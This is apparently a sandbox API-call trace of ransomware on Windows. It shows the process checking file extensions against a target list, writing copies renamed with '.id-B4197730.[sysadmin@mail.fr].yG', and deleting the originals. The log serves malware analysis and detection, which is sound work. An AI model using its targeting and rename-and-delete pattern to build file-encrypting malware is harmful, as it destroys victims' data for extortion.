	[0182.211] CreateFileW (lpFileName="C:\\Program Files\\Common Files\\microsoft shared\\Stationery\\HandPrints.jpg" (normalized: "c:\\program files\\common files\\microsoft shared\\stationery\\handprints.jpg"), dwDesiredAccess=0x80000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x368
	[0182.211] GetFileSizeEx (in: hFile=0x368, lpFileSize=0x301ff14 | out: lpFileSize=0x301ff14*=4222) returned 1
	[0182.211] CloseHandle (hObject=0x368) returned 1
	[0182.212] GetFileAttributesW (lpFileName="C:\\Program Files\\Common Files\\microsoft shared\\Stationery\\HandPrints.jpg" (normalized: "c:\\program files\\common files\\microsoft shared\\stationery\\handprints.jpg")) returned 0x20
	[0182.212] GetFileAttributesW (lpFileName="C:\\Program Files\\Common Files\\microsoft shared\\Stationery\\HandPrints.jpg.id-B4197730.[sysadmin@mail.fr].yG" (normalized: "c:\\program files\\common files\\microsoft shared\\stationery\\handprints.jpg.id-b4197730.[sysadmin@mail.fr].yg")) returned 0xffffffff
	[0182.212] CreateFileW (lpFileName="C:\\Program Files\\Common Files\\microsoft shared\\Stationery\\HandPrints.jpg" (normalized: "c:\\program files\\common files\\microsoft shared\\stationery\\handprints.jpg"), dwDesiredAccess=0xc0000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0xffffffff
	[0182.212] lstrlenW (lpString="C:\\Program Files\\Common Files\\microsoft shared\\Stationery\\HandPrints.jpg") returned 72
	[0182.212] lstrlenW (lpString="C:\\Program Files\\Common Files\\microsoft shared\\Stationery\\HandPrints.jpg") returned 72
	[0182.212] lstrlenW (lpString=".doc") returned 4
	[0182.212] lstrcmpiW (lpString1=".doc", lpString2=".jpg") returned -1
	[0182.212] lstrlenW (lpString=".docx") returned 5
	[0182.212] lstrcmpiW (lpString1=".docx", lpString2="s.jpg") returned -1
	[0182.212] lstrlenW (lpString=".pdf") returned 4
	[0182.212] lstrcmpiW (lpString1=".pdf", lpString2=".jpg") returned 1
	[0182.212] lstrlenW (lpString=".xls") returned 4
	[0182.212] lstrcmpiW (lpString1=".xls", lpString2=".jpg") returned 1
	[0182.212] lstrlenW (lpString=".xlsx") returned 5
	[0182.212] lstrcmpiW (lpString1=".xlsx", lpString2="s.jpg") returned -1
	[0182.213] lstrlenW (lpString=".ppt") returned 4
	[0182.213] lstrcmpiW (lpString1=".ppt", lpString2=".jpg") returned 1
	[0182.213] lstrlenW (lpString="C:\\Program Files\\Common Files\\microsoft shared\\Stationery\\HandPrints.jpg") returned 72
	[0182.213] lstrlenW (lpString=".zip") returned 4
	[0182.213] lstrcmpiW (lpString1=".zip", lpString2=".jpg") returned 1
	[0182.213] lstrlenW (lpString=".rar") returned 4
	[0182.213] lstrcmpiW (lpString1=".rar", lpString2=".jpg") returned 1
	[0182.213] lstrlenW (lpString=".bz2") returned 4
	[0182.213] lstrcmpiW (lpString1=".bz2", lpString2=".jpg") returned -1
	[0182.213] lstrlenW (lpString=".7z") returned 3
	[0182.213] lstrcmpiW (lpString1=".7z", lpString2="jpg") returned -1
	[0182.213] lstrlenW (lpString="C:\\Program Files\\Common Files\\microsoft shared\\Stationery\\HandPrints.jpg") returned 72
	[0182.213] lstrlenW (lpString=".dbf") returned 4
	[0182.213] lstrcmpiW (lpString1=".dbf", lpString2=".jpg") returned -1
	[0182.213] lstrlenW (lpString="C:\\Program Files\\Common Files\\microsoft shared\\Stationery\\HandPrints.jpg") returned 72
	[0182.213] lstrlenW (lpString=".1cd") returned 4
	[0182.213] lstrcmpiW (lpString1=".1cd", lpString2=".jpg") returned -1
	[0182.213] lstrlenW (lpString="C:\\Program Files\\Common Files\\microsoft shared\\Stationery\\HandPrints.jpg") returned 72
	[0182.213] lstrlenW (lpString=".jpg") returned 4
	[0182.214] lstrcmpiW (lpString1=".jpg", lpString2=".jpg") returned 0
	[0182.214] lstrlenW (lpString="C:\\Program Files\\Common Files\\microsoft shared\\Stationery\\HandPrints.jpg") returned 72
	[0182.214] lstrlenW (lpString="C:\\Program Files\\Common Files\\microsoft shared\\Stationery\\HandPrints.jpg") returned 72
	[0182.214] lstrlenW (lpString=".doc") returned 4
	[0182.214] lstrcmpiW (lpString1=".doc", lpString2=".jpg") returned -1
	[0182.214] lstrlenW (lpString=".docx") returned 5
	[0182.214] lstrcmpiW (lpString1=".docx", lpString2="s.jpg") returned -1
	[0182.214] lstrlenW (lpString=".pdf") returned 4
	[0182.214] lstrcmpiW (lpString1=".pdf", lpString2=".jpg") returned 1
	[0182.214] lstrlenW (lpString=".xls") returned 4
	[0182.214] lstrcmpiW (lpString1=".xls", lpString2=".jpg") returned 1
	[0182.214] lstrlenW (lpString=".xlsx") returned 5
	[0182.214] lstrcmpiW (lpString1=".xlsx", lpString2="s.jpg") returned -1
	[0182.214] lstrlenW (lpString=".ppt") returned 4
	[0182.214] lstrcmpiW (lpString1=".ppt", lpString2=".jpg") returned 1
	[0182.214] lstrlenW (lpString="C:\\Program Files\\Common Files\\microsoft shared\\Stationery\\HandPrints.jpg") returned 72
	[0182.214] lstrlenW (lpString=".zip") returned 4
	[0182.214] lstrcmpiW (lpString1=".zip", lpString2=".jpg") returned 1
	[0182.215] lstrlenW (lpString=".rar") returned 4
	[0182.215] lstrcmpiW (lpString1=".rar", lpString2=".jpg") returned 1
	[0182.215] lstrlenW (lpString=".bz2") returned 4
	[0182.215] lstrcmpiW (lpString1=".bz2", lpString2=".jpg") returned -1
	[0182.215] lstrlenW (lpString=".7z") returned 3
	[0182.215] lstrcmpiW (lpString1=".7z", lpString2="jpg") returned -1
	[0182.215] lstrlenW (lpString="C:\\Program Files\\Common Files\\microsoft shared\\Stationery\\HandPrints.jpg") returned 72
	[0182.215] lstrlenW (lpString=".dbf") returned 4
	[0182.215] lstrcmpiW (lpString1=".dbf", lpString2=".jpg") returned -1
	[0182.215] lstrlenW (lpString="C:\\Program Files\\Common Files\\microsoft shared\\Stationery\\HandPrints.jpg") returned 72
	[0182.215] lstrlenW (lpString=".1cd") returned 4
	[0182.215] lstrcmpiW (lpString1=".1cd", lpString2=".jpg") returned -1
	[0182.215] lstrlenW (lpString="C:\\Program Files\\Common Files\\microsoft shared\\Stationery\\HandPrints.jpg") returned 72
	[0182.215] lstrlenW (lpString=".jpg") returned 4
	[0182.215] lstrcmpiW (lpString1=".jpg", lpString2=".jpg") returned 0
	[0182.216] lstrcmpiW (lpString1=".htm", lpString2=".yG") returned -1
	[0182.216] lstrlenW (lpString="Orange Circles.htm") returned 18
	[0182.216] CreateFileW (lpFileName="C:\\Program Files\\Common Files\\microsoft shared\\Stationery\\Orange Circles.htm" (normalized: "c:\\program files\\common files\\microsoft shared\\stationery\\orange circles.htm"), dwDesiredAccess=0x80000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x368
	[0182.216] GetFileSizeEx (in: hFile=0x368, lpFileSize=0x301ff14 | out: lpFileSize=0x301ff14*=237) returned 1
	[0182.216] CloseHandle (hObject=0x368) returned 1
	[0182.217] GetFileAttributesW (lpFileName="C:\\Program Files\\Common Files\\microsoft shared\\Stationery\\Orange Circles.htm" (normalized: "c:\\program files\\common files\\microsoft shared\\stationery\\orange circles.htm")) returned 0x20
	[0182.217] GetFileAttributesW (lpFileName="C:\\Program Files\\Common Files\\microsoft shared\\Stationery\\Orange Circles.htm.id-B4197730.[sysadmin@mail.fr].yG" (normalized: "c:\\program files\\common files\\microsoft shared\\stationery\\orange circles.htm.id-b4197730.[sysadmin@mail.fr].yg")) returned 0xffffffff
	[0182.217] CreateFileW (lpFileName="C:\\Program Files\\Common Files\\microsoft shared\\Stationery\\Orange Circles.htm" (normalized: "c:\\program files\\common files\\microsoft shared\\stationery\\orange circles.htm"), dwDesiredAccess=0xc0000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0xffffffff
	[0182.217] lstrlenW (lpString="C:\\Program Files\\Common Files\\microsoft shared\\Stationery\\Orange Circles.htm") returned 76
	[0182.217] lstrlenW (lpString="C:\\Program Files\\Common Files\\microsoft shared\\Stationery\\Orange Circles.htm") returned 76
	[0182.217] lstrlenW (lpString=".doc") returned 4
	[0182.217] lstrcmpiW (lpString1=".doc", lpString2=".htm") returned -1
	[0182.217] lstrlenW (lpString=".docx") returned 5
	[0182.217] lstrcmpiW (lpString1=".docx", lpString2="s.htm") returned -1
	[0182.217] lstrlenW (lpString=".pdf") returned 4
	[0182.217] lstrcmpiW (lpString1=".pdf", lpString2=".htm") returned 1
	[0182.217] lstrlenW (lpString=".xls") returned 4
	[0182.217] lstrcmpiW (lpString1=".xls", lpString2=".htm") returned 1
	[0182.217] lstrlenW (lpString=".xlsx") returned 5
	[0182.217] lstrcmpiW (lpString1=".xlsx", lpString2="s.htm") returned -1
	[0182.218] lstrlenW (lpString=".ppt") returned 4
	[0182.218] lstrcmpiW (lpString1=".ppt", lpString2=".htm") returned 1
	[0182.218] lstrlenW (lpString="C:\\Program Files\\Common Files\\microsoft shared\\Stationery\\Orange Circles.htm") returned 76
	[0182.218] lstrlenW (lpString=".zip") returned 4
	[0182.218] lstrcmpiW (lpString1=".zip", lpString2=".htm") returned 1
	[0182.218] lstrlenW (lpString=".rar") returned 4
	[0182.218] lstrcmpiW (lpString1=".rar", lpString2=".htm") returned 1
	[0182.218] lstrlenW (lpString=".bz2") returned 4
	[0182.218] lstrcmpiW (lpString1=".bz2", lpString2=".htm") returned -1
	[0182.218] lstrlenW (lpString=".7z") returned 3
	[0182.218] lstrcmpiW (lpString1=".7z", lpString2="htm") returned -1
	[0182.218] lstrlenW (lpString="C:\\Program Files\\Common Files\\microsoft shared\\Stationery\\Orange Circles.htm") returned 76
	[0182.218] lstrlenW (lpString=".dbf") returned 4
	[0182.218] lstrcmpiW (lpString1=".dbf", lpString2=".htm") returned -1
	[0182.218] lstrlenW (lpString="C:\\Program Files\\Common Files\\microsoft shared\\Stationery\\Orange Circles.htm") returned 76
	[0182.218] lstrlenW (lpString=".1cd") returned 4
	[0182.218] lstrcmpiW (lpString1=".1cd", lpString2=".htm") returned -1
	[0182.218] lstrlenW (lpString="C:\\Program Files\\Common Files\\microsoft shared\\Stationery\\Orange Circles.htm") returned 76
	[0182.218] lstrlenW (lpString=".jpg") returned 4
	[0182.219] lstrcmpiW (lpString1=".jpg", lpString2=".htm") returned 1
	[0182.219] lstrlenW (lpString="C:\\Program Files\\Common Files\\microsoft shared\\Stationery\\Orange Circles.htm") returned 76
	[0182.219] lstrlenW (lpString="C:\\Program Files\\Common Files\\microsoft shared\\Stationery\\Orange Circles.htm") returned 76
	[0182.219] lstrlenW (lpString=".doc") returned 4
	[0182.219] lstrcmpiW (lpString1=".doc", lpString2=".htm") returned -1
	[0182.219] lstrlenW (lpString=".docx") returned 5
	[0182.219] lstrcmpiW (lpString1=".docx", lpString2="s.htm") returned -1
	[0182.219] lstrlenW (lpString=".pdf") returned 4
	[0182.219] lstrcmpiW (lpString1=".pdf", lpString2=".htm") returned 1
	[0182.219] lstrlenW (lpString=".xls") returned 4
	[0182.219] lstrcmpiW (lpString1=".xls", lpString2=".htm") returned 1
	[0182.219] lstrlenW (lpString=".xlsx") returned 5
	[0182.219] lstrcmpiW (lpString1=".xlsx", lpString2="s.htm") returned -1
	[0182.219] lstrlenW (lpString=".ppt") returned 4
	[0182.219] lstrcmpiW (lpString1=".ppt", lpString2=".htm") returned 1
	[0182.219] lstrlenW (lpString="C:\\Program Files\\Common Files\\microsoft shared\\Stationery\\Orange Circles.htm") returned 76
	[0182.219] lstrlenW (lpString=".zip") returned 4
	[0182.220] lstrcmpiW (lpString1=".zip", lpString2=".htm") returned 1
	[0182.220] lstrlenW (lpString=".rar") returned 4
	[0182.220] lstrcmpiW (lpString1=".rar", lpString2=".htm") returned 1
	[0182.220] lstrlenW (lpString=".bz2") returned 4
	[0182.220] lstrcmpiW (lpString1=".bz2", lpString2=".htm") returned -1
	[0182.220] lstrlenW (lpString=".7z") returned 3
	[0182.220] lstrcmpiW (lpString1=".7z", lpString2="htm") returned -1
	[0182.220] lstrlenW (lpString="C:\\Program Files\\Common Files\\microsoft shared\\Stationery\\Orange Circles.htm") returned 76
	[0182.220] lstrlenW (lpString=".dbf") returned 4
	[0182.220] lstrcmpiW (lpString1=".dbf", lpString2=".htm") returned -1
	[0182.220] lstrlenW (lpString="C:\\Program Files\\Common Files\\microsoft shared\\Stationery\\Orange Circles.htm") returned 76
	[0182.220] lstrlenW (lpString=".1cd") returned 4
	[0182.220] lstrcmpiW (lpString1=".1cd", lpString2=".htm") returned -1
	[0182.220] lstrlenW (lpString="C:\\Program Files\\Common Files\\microsoft shared\\Stationery\\Orange Circles.htm") returned 76
	[0182.220] lstrlenW (lpString=".jpg") returned 4
	[0182.220] lstrcmpiW (lpString1=".jpg", lpString2=".htm") returned 1
	[0182.221] lstrcmpiW (lpString1=".jpg", lpString2=".yG") returned -1
	[0182.221] lstrlenW (lpString="OrangeCircles.jpg") returned 17
	[0182.221] CreateFileW (lpFileName="C:\\Program Files\\Common Files\\microsoft shared\\Stationery\\OrangeCircles.jpg" (normalized: "c:\\program files\\common files\\microsoft shared\\stationery\\orangecircles.jpg"), dwDesiredAccess=0x80000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x368
	[0182.225] GetFileSizeEx (in: hFile=0x368, lpFileSize=0x301ff14 | out: lpFileSize=0x301ff14*=6381) returned 1
	[0182.225] CloseHandle (hObject=0x368) returned 1
	[0182.225] GetFileAttributesW (lpFileName="C:\\Program Files\\Common Files\\microsoft shared\\Stationery\\OrangeCircles.jpg" (normalized: "c:\\program files\\common files\\microsoft shared\\stationery\\orangecircles.jpg")) returned 0x20
	[0182.225] GetFileAttributesW (lpFileName="C:\\Program Files\\Common Files\\microsoft shared\\Stationery\\OrangeCircles.jpg.id-B4197730.[sysadmin@mail.fr].yG" (normalized: "c:\\program files\\common files\\microsoft shared\\stationery\\orangecircles.jpg.id-b4197730.[sysadmin@mail.fr].yg")) returned 0xffffffff
	[0182.225] CreateFileW (lpFileName="C:\\Program Files\\Common Files\\microsoft shared\\Stationery\\OrangeCircles.jpg" (normalized: "c:\\program files\\common files\\microsoft shared\\stationery\\orangecircles.jpg"), dwDesiredAccess=0xc0000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0xffffffff
	[0182.225] lstrlenW (lpString="C:\\Program Files\\Common Files\\microsoft shared\\Stationery\\OrangeCircles.jpg") returned 75
	[0182.225] lstrlenW (lpString="C:\\Program Files\\Common Files\\microsoft shared\\Stationery\\OrangeCircles.jpg") returned 75
	[0182.225] lstrlenW (lpString=".doc") returned 4
	[0182.225] lstrcmpiW (lpString1=".doc", lpString2=".jpg") returned -1
	[0182.225] lstrlenW (lpString=".docx") returned 5
	[0182.225] lstrcmpiW (lpString1=".docx", lpString2="s.jpg") returned -1
	[0182.225] lstrlenW (lpString=".pdf") returned 4
	[0182.225] lstrcmpiW (lpString1=".pdf", lpString2=".jpg") returned 1
	[0182.226] lstrlenW (lpString=".xls") returned 4
	[0182.226] lstrcmpiW (lpString1=".xls", lpString2=".jpg") returned 1
	[0182.226] lstrlenW (lpString=".xlsx") returned 5
	[0182.226] lstrcmpiW (lpString1=".xlsx", lpString2="s.jpg") returned -1
	[0182.226] lstrlenW (lpString=".ppt") returned 4
	[0182.226] lstrcmpiW (lpString1=".ppt", lpString2=".jpg") returned 1
	[0182.226] lstrlenW (lpString="C:\\Program Files\\Common Files\\microsoft shared\\Stationery\\OrangeCircles.jpg") returned 75
	[0182.226] lstrlenW (lpString=".zip") returned 4
	[0182.226] lstrcmpiW (lpString1=".zip", lpString2=".jpg") returned 1
	[0182.226] lstrlenW (lpString=".rar") returned 4
	[0182.226] lstrcmpiW (lpString1=".rar", lpString2=".jpg") returned 1
	[0182.226] lstrlenW (lpString=".bz2") returned 4
	[0182.226] lstrcmpiW (lpString1=".bz2", lpString2=".jpg") returned -1
	[0182.226] lstrlenW (lpString=".7z") returned 3
	[0182.226] lstrcmpiW (lpString1=".7z", lpString2="jpg") returned -1
	[0182.226] lstrlenW (lpString="C:\\Program Files\\Common Files\\microsoft shared\\Stationery\\OrangeCircles.jpg") returned 75
	[0182.226] lstrlenW (lpString=".dbf") returned 4
	[0182.226] lstrcmpiW (lpString1=".dbf", lpString2=".jpg") returned -1
	[0182.227] lstrlenW (lpString="C:\\Program Files\\Common Files\\microsoft shared\\Stationery\\OrangeCircles.jpg") returned 75
	[0182.227] lstrlenW (lpString=".1cd") returned 4
	[0182.227] lstrcmpiW (lpString1=".1cd", lpString2=".jpg") returned -1
	[0182.227] lstrlenW (lpString="C:\\Program Files\\Common Files\\microsoft shared\\Stationery\\OrangeCircles.jpg") returned 75
	[0182.227] lstrlenW (lpString=".jpg") returned 4
	[0182.227] lstrcmpiW (lpString1=".jpg", lpString2=".jpg") returned 0
	[0182.227] lstrlenW (lpString="C:\\Program Files\\Common Files\\microsoft shared\\Stationery\\OrangeCircles.jpg") returned 75
	[0182.227] lstrlenW (lpString="C:\\Program Files\\Common Files\\microsoft shared\\Stationery\\OrangeCircles.jpg") returned 75
	[0182.227] lstrlenW (lpString=".doc") returned 4
	[0182.227] lstrcmpiW (lpString1=".doc", lpString2=".jpg") returned -1
	[0182.227] lstrlenW (lpString=".docx") returned 5
	[0182.227] lstrcmpiW (lpString1=".docx", lpString2="s.jpg") returned -1
	[0182.227] lstrlenW (lpString=".pdf") returned 4
	[0182.227] lstrcmpiW (lpString1=".pdf", lpString2=".jpg") returned 1
	[0182.227] lstrlenW (lpString=".xls") returned 4
	[0182.227] lstrcmpiW (lpString1=".xls", lpString2=".jpg") returned 1
	[0182.227] lstrlenW (lpString=".xlsx") returned 5
	[0182.227] lstrcmpiW (lpString1=".xlsx", lpString2="s.jpg") returned -1
	[0182.228] lstrlenW (lpString=".ppt") returned 4
	[0182.228] lstrcmpiW (lpString1=".ppt", lpString2=".jpg") returned 1
	[0182.228] lstrlenW (lpString="C:\\Program Files\\Common Files\\microsoft shared\\Stationery\\OrangeCircles.jpg") returned 75
	[0182.228] lstrlenW (lpString=".zip") returned 4
	[0182.228] lstrcmpiW (lpString1=".zip", lpString2=".jpg") returned 1
	[0182.228] lstrlenW (lpString=".rar") returned 4
	[0182.228] lstrcmpiW (lpString1=".rar", lpString2=".jpg") returned 1
	[0182.228] lstrlenW (lpString=".bz2") returned 4
	[0182.228] lstrcmpiW (lpString1=".bz2", lpString2=".jpg") returned -1
	[0182.228] lstrlenW (lpString=".7z") returned 3
	[0182.228] lstrcmpiW (lpString1=".7z", lpString2="jpg") returned -1
	[0182.228] lstrlenW (lpString="C:\\Program Files\\Common Files\\microsoft shared\\Stationery\\OrangeCircles.jpg") returned 75
	[0182.228] lstrlenW (lpString=".dbf") returned 4
	[0182.228] lstrcmpiW (lpString1=".dbf", lpString2=".jpg") returned -1
	[0182.228] lstrlenW (lpString="C:\\Program Files\\Common Files\\microsoft shared\\Stationery\\OrangeCircles.jpg") returned 75
	[0182.228] lstrlenW (lpString=".1cd") returned 4
	[0182.228] lstrcmpiW (lpString1=".1cd", lpString2=".jpg") returned -1
	[0182.228] lstrlenW (lpString="C:\\Program Files\\Common Files\\microsoft shared\\Stationery\\OrangeCircles.jpg") returned 75
	[0182.229] lstrlenW (lpString=".jpg") returned 4
	[0182.229] lstrcmpiW (lpString1=".jpg", lpString2=".jpg") returned 0
	[0182.229] lstrcmpiW (lpString1=".htm", lpString2=".yG") returned -1
	[0182.229] lstrlenW (lpString="Peacock.htm") returned 11
	[0182.229] CreateFileW (lpFileName="C:\\Program Files\\Common Files\\microsoft shared\\Stationery\\Peacock.htm" (normalized: "c:\\program files\\common files\\microsoft shared\\stationery\\peacock.htm"), dwDesiredAccess=0x80000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x368
	[0182.230] GetFileSizeEx (in: hFile=0x368, lpFileSize=0x301ff14 | out: lpFileSize=0x301ff14*=232) returned 1
	[0182.230] CloseHandle (hObject=0x368) returned 1
	[0182.230] GetFileAttributesW (lpFileName="C:\\Program Files\\Common Files\\microsoft shared\\Stationery\\Peacock.htm" (normalized: "c:\\program files\\common files\\microsoft shared\\stationery\\peacock.htm")) returned 0x20
	[0182.230] GetFileAttributesW (lpFileName="C:\\Program Files\\Common Files\\microsoft shared\\Stationery\\Peacock.htm.id-B4197730.[sysadmin@mail.fr].yG" (normalized: "c:\\program files\\common files\\microsoft shared\\stationery\\peacock.htm.id-b4197730.[sysadmin@mail.fr].yg")) returned 0xffffffff
	[0182.230] CreateFileW (lpFileName="C:\\Program Files\\Common Files\\microsoft shared\\Stationery\\Peacock.htm" (normalized: "c:\\program files\\common files\\microsoft shared\\stationery\\peacock.htm"), dwDesiredAccess=0xc0000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0xffffffff
	[0182.230] lstrlenW (lpString="C:\\Program Files\\Common Files\\microsoft shared\\Stationery\\Peacock.htm") returned 69
	[0182.230] lstrlenW (lpString="C:\\Program Files\\Common Files\\microsoft shared\\Stationery\\Peacock.htm") returned 69
	[0182.230] lstrlenW (lpString=".doc") returned 4
	[0182.230] lstrcmpiW (lpString1=".doc", lpString2=".htm") returned -1
	[0182.230] lstrlenW (lpString=".docx") returned 5
	[0182.230] lstrcmpiW (lpString1=".docx", lpString2="k.htm") returned -1
	[0182.230] lstrlenW (lpString=".pdf") returned 4
	[0182.231] lstrcmpiW (lpString1=".pdf", lpString2=".htm") returned 1
	[0182.231] lstrlenW (lpString=".xls") returned 4
	[0182.231] lstrcmpiW (lpString1=".xls", lpString2=".htm") returned 1
	[0182.231] lstrlenW (lpString=".xlsx") returned 5
	[0182.231] lstrcmpiW (lpString1=".xlsx", lpString2="k.htm") returned -1
	[0182.231] lstrlenW (lpString=".ppt") returned 4
	[0182.231] lstrcmpiW (lpString1=".ppt", lpString2=".htm") returned 1
	[0182.231] lstrlenW (lpString="C:\\Program Files\\Common Files\\microsoft shared\\Stationery\\Peacock.htm") returned 69
	[0182.231] lstrlenW (lpString=".zip") returned 4
	[0182.231] lstrcmpiW (lpString1=".zip", lpString2=".htm") returned 1
	[0182.231] lstrlenW (lpString=".rar") returned 4
	[0182.231] lstrcmpiW (lpString1=".rar", lpString2=".htm") returned 1
	[0182.231] lstrlenW (lpString=".bz2") returned 4
	[0182.231] lstrcmpiW (lpString1=".bz2", lpString2=".htm") returned -1
	[0182.231] lstrlenW (lpString=".7z") returned 3
	[0182.231] lstrcmpiW (lpString1=".7z", lpString2="htm") returned -1
	[0182.231] lstrlenW (lpString="C:\\Program Files\\Common Files\\microsoft shared\\Stationery\\Peacock.htm") returned 69
	[0182.231] lstrlenW (lpString=".dbf") returned 4
	[0182.232] lstrcmpiW (lpString1=".dbf", lpString2=".htm") returned -1
	[0182.244] SetFilePointerEx (in: hFile=0x368, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x301fec0 | out: lpNewFilePointer=0x0) returned 1
	[0182.244] SetFilePointerEx (in: hFile=0x368, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x301fec0 | out: lpNewFilePointer=0x0) returned 1
	[0182.244] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\DD01157_.WMF.id-B4197730.[sysadmin@mail.fr].yG" (normalized: "c:\\program files\\microsoft office\\root\\clipart\\pub60cor\\dd01157_.wmf.id-b4197730.[sysadmin@mail.fr].yg"), dwDesiredAccess=0x40000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x2, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x30c
	[0182.245] GetLastError () returned 0x0
	[0182.245] ReadFile (in: hFile=0x368, lpBuffer=0x3b0c020, nNumberOfBytesToRead=0xffff0, lpNumberOfBytesRead=0x301fecc, lpOverlapped=0x0 | out: lpBuffer=0x3b0c020*, lpNumberOfBytesRead=0x301fecc*=0xe04, lpOverlapped=0x0) returned 1
	[0182.693] WriteFile (in: hFile=0x30c, lpBuffer=0x3b0c020*, nNumberOfBytesToWrite=0xe10, lpNumberOfBytesWritten=0x301fc94, lpOverlapped=0x0 | out: lpBuffer=0x3b0c020*, lpNumberOfBytesWritten=0x301fc94*=0xe10, lpOverlapped=0x0) returned 1
	[0182.695] ReadFile (in: hFile=0x368, lpBuffer=0x3b0c020, nNumberOfBytesToRead=0xffff0, lpNumberOfBytesRead=0x301fecc, lpOverlapped=0x0 | out: lpBuffer=0x3b0c020*, lpNumberOfBytesRead=0x301fecc*=0x0, lpOverlapped=0x0) returned 1
	[0182.696] WriteFile (in: hFile=0x30c, lpBuffer=0x3b0c020*, nNumberOfBytesToWrite=0xec, lpNumberOfBytesWritten=0x301fc94, lpOverlapped=0x0 | out: lpBuffer=0x3b0c020*, lpNumberOfBytesWritten=0x301fc94*=0xec, lpOverlapped=0x0) returned 1
	[0182.697] SetEndOfFile (hFile=0x30c) returned 1
	[0182.698] CloseHandle (hObject=0x30c) returned 1
	[0182.698] SetFilePointerEx (in: hFile=0x368, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x301fec0 | out: lpNewFilePointer=0x0) returned 1
	[0182.698] SetEndOfFile (hFile=0x368) returned 1
	[0182.699] CloseHandle (hObject=0x368) returned 1
	[0182.699] SetFileAttributesW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\DD01157_.WMF.id-B4197730.[sysadmin@mail.fr].yG", dwFileAttributes=0x220) returned 1
	[0182.699] DeleteFileW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\DD01157_.WMF" (normalized: "c:\\program files\\microsoft office\\root\\clipart\\pub60cor\\dd01157_.wmf")) returned 1
	[0182.700] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\DD01157_.WMF") returned 68
	[0182.700] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\DD01157_.WMF") returned 68
	[0182.701] lstrlenW (lpString=".doc") returned 4
	[0182.701] lstrcmpiW (lpString1=".doc", lpString2=".WMF") returned -1
	[0182.701] lstrlenW (lpString=".docx") returned 5
	[0182.701] lstrcmpiW (lpString1=".docx", lpString2="_.WMF") returned -1
	[0182.701] lstrlenW (lpString=".pdf") returned 4
	[0182.702] lstrcmpiW (lpString1=".pdf", lpString2=".WMF") returned -1
	[0182.702] lstrlenW (lpString=".xls") returned 4
	[0182.702] lstrcmpiW (lpString1=".xls", lpString2=".WMF") returned 1
	[0182.702] lstrlenW (lpString=".xlsx") returned 5
	[0182.702] lstrcmpiW (lpString1=".xlsx", lpString2="_.WMF") returned -1
	[0182.702] lstrlenW (lpString=".ppt") returned 4
	[0182.702] lstrcmpiW (lpString1=".ppt", lpString2=".WMF") returned -1
	[0182.702] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\DD01157_.WMF") returned 68
	[0182.702] lstrlenW (lpString=".zip") returned 4
	[0182.702] lstrcmpiW (lpString1=".zip", lpString2=".WMF") returned 1
	[0182.702] lstrlenW (lpString=".rar") returned 4
	[0182.702] lstrcmpiW (lpString1=".rar", lpString2=".WMF") returned -1
	[0182.702] lstrlenW (lpString=".bz2") returned 4
	[0182.702] lstrcmpiW (lpString1=".bz2", lpString2=".WMF") returned -1
	[0182.702] lstrlenW (lpString=".7z") returned 3
	[0182.702] lstrcmpiW (lpString1=".7z", lpString2="WMF") returned -1
	[0182.702] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\DD01157_.WMF") returned 68
	[0182.702] lstrlenW (lpString=".dbf") returned 4
	[0182.702] lstrcmpiW (lpString1=".dbf", lpString2=".WMF") returned -1
	[0182.702] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\DD01157_.WMF") returned 68
	[0182.702] lstrlenW (lpString=".1cd") returned 4
	[0182.702] lstrcmpiW (lpString1=".1cd", lpString2=".WMF") returned -1
	[0182.702] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\DD01157_.WMF") returned 68
	[0182.705] lstrlenW (lpString=".jpg") returned 4
	[0182.705] lstrcmpiW (lpString1=".jpg", lpString2=".WMF") returned -1
	[0182.705] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\DD01157_.WMF") returned 68
	[0182.705] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\DD01157_.WMF") returned 68
	[0182.705] lstrlenW (lpString=".doc") returned 4
	[0182.705] lstrcmpiW (lpString1=".doc", lpString2=".WMF") returned -1
	[0182.706] lstrlenW (lpString=".docx") returned 5
	[0182.706] lstrcmpiW (lpString1=".docx", lpString2="_.WMF") returned -1
	[0182.706] lstrlenW (lpString=".pdf") returned 4
	[0182.706] lstrcmpiW (lpString1=".pdf", lpString2=".WMF") returned -1
	[0182.706] lstrlenW (lpString=".xls") returned 4
